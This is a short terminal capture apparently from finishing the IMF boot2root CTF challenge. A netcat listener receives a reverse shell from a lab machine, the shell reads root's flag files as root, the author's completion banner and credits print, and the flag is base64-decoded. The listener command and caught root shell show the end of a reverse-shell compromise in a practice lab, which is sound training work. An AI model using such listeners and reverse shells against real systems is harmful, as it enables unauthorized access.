$ nc -lvnp 4445                                                                                                                                                                                                                  148 ⨯ 1 ⚙
listening on [any] 4445 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.114] 56318
whoami
root
ls /root
Flag.txt
TheEnd.txt
cat /root/Flag.txt /root/TheEnd.txt
flag6{R2gwc3RQcm90MGMwbHM=}
   ____                        _ __   __   
  /  _/_ _  ___  ___  ___ ___ (_) /  / /__ 
 _/ //  ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
/___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/ 
   __  __/_/        _                      
  /  |/  (_)__ ___ (_)__  ___              
 / /|_/ / (_-<(_-</ / _ \/ _ \             
/_/__/_/_/___/___/_/\___/_//_/             
  / __/__  ___________                     
 / _// _ \/ __/ __/ -_)                    
/_/  \___/_/  \__/\__/                     
                                           
Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.

Geckom
Twitter: @g3ck0ma
Email: geckom@redteamr.com
Web: http://redteamr.com

Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)

$ echo "R2gwc3RQcm90MGMwbHM=" | base64 --decode                                                                                                                                                                                    1 ⨯ 1 ⚙
Gh0stProt0c0ls